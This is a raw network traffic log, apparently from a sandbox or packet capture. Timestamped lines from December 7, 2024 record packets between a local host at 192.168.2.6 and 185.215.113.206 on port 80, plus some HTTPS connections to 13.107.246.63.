Dec 7, 2024 22:40:45.205121040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.205168009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.205218077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.205260038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.206974983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.206990957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.207003117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.207034111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.207067966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.207087994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.207122087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.208372116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.208386898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.208429098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.208450079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.208894014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.208955050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.209094048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.209141016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.209829092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.209881067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.209952116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.209999084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.210871935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.210885048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.210928917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.210951090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.211720943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.211772919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.211827993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.211877108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.212658882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.212717056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.212754011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.212801933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.213606119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.213658094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.213696957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.213745117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.214574099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.214649916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.214667082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.214713097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.215513945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.215567112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.215634108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.215683937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.216480970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.216531038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.216602087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.216649055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.217406988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.217463970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.217502117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.217539072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.218379974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.218436956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.218440056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.218477964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.219300985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.219347954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.219372034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.219413996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.220165968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.220238924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.272905111 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.272981882 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.273035049 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.273222923 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.273240089 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.273252010 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.273257017 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.273431063 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.273483038 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.273523092 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.274421930 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.274439096 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.274449110 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.274455070 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.275240898 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.275310993 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.275353909 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.275820017 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.275835037 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.275851965 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.275856018 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.278100967 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.278126001 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.278179884 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.278883934 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.278902054 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.278949976 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.279459000 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.279468060 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.279510021 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.279593945 CET	49812	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.279604912 CET	443	49812	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.279676914 CET	49813	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.279686928 CET	443	49813	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.279752016 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.279762030 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.312545061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.312618017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.312618971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.312659979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.312828064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.312840939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.312879086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.312901974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.313616991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.313669920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.313777924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.313824892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.314568996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.314626932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.314657927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.314699888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.315525055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.315579891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.315653086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.315701008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.316488981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.316540003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.316577911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.316620111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.317423105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.317470074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.317507029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.317550898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.318372011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.318425894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.318463087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.318515062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.319339991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.319389105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.319395065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.319430113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.320230007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.320278883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.320342064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.320383072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.321149111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.321194887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.371963024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.372020006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.372088909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.372137070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.372206926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.372313976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.372389078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.372389078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.373208046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.373258114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.373296976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.373341084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.374125957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.374174118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.374221087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.374264956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.375070095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.375118971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.375171900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.375220060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.376034975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.376080990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.376126051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.376163960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.377046108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.377091885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.377149105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.377192020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.377971888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.378026009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.378051043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.378087997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.378860950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.378915071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.378950119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.378993988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.379807949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.379856110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.379928112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.379975080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.380742073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.380788088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.380866051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.380911112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.381692886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.381741047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.381772995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.381813049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.382638931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.382683992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.382739067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.382776976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.383599043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.383646965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.383713007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.383759022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.384609938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.384656906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.384671926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.384715080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.385494947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.385545969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.385581970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.385623932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.386429071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.386476994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.386555910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.386599064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.387342930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.387392044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.387459993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.387505054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.388349056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.388398886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.388444901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.388487101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.389242887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.389291048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.389364004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.389410019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.390194893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.390244961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.390357971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.390398979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.391123056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.391170025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.391242027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.391288996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.392093897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.392146111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.392154932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.392194986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.393146038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.393166065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.393196106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.393208027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.393971920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.394021034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.394058943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.394098997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.394886017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.394934893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.395091057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.395139933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.395867109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.395917892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.395977020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.396020889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.396816015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.396864891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.396924973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.396970034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.397790909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.397840023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.397854090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.397888899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.398736000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.398787022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.399182081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.399235964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.399663925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.399713993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.399751902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.399796009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.400598049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.400645018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.400679111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.400719881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.401499033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.401549101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.401612043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.401653051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.402457952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.402507067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.402571917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.402615070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.403409958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.403459072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.403506994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.403553963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.404390097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.404438972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.404515028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.404561996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.405292034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.405343056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.405400038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.405443907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.406248093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.406296015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.406382084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.406430006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.407176018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.407236099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.407290936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.407330990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.408133030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.408179045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.408320904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.408401012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.409092903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.409135103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.409174919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.409219027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.410008907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.410068989 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.410105944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.410151005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.410955906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.411007881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.411134958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.411184072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.411895990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.411943913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.505050898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.505086899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.505172014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.505201101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.505438089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.505481005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.505532026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.505574942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.506360054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.506406069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.506692886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.506736994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.506808996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.506855965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.507657051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.507709026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.507810116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.507848978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.508574963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.508616924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.508654118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.508696079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.509541035 CET	80	49790	185.215.113.206	192.168.2.6
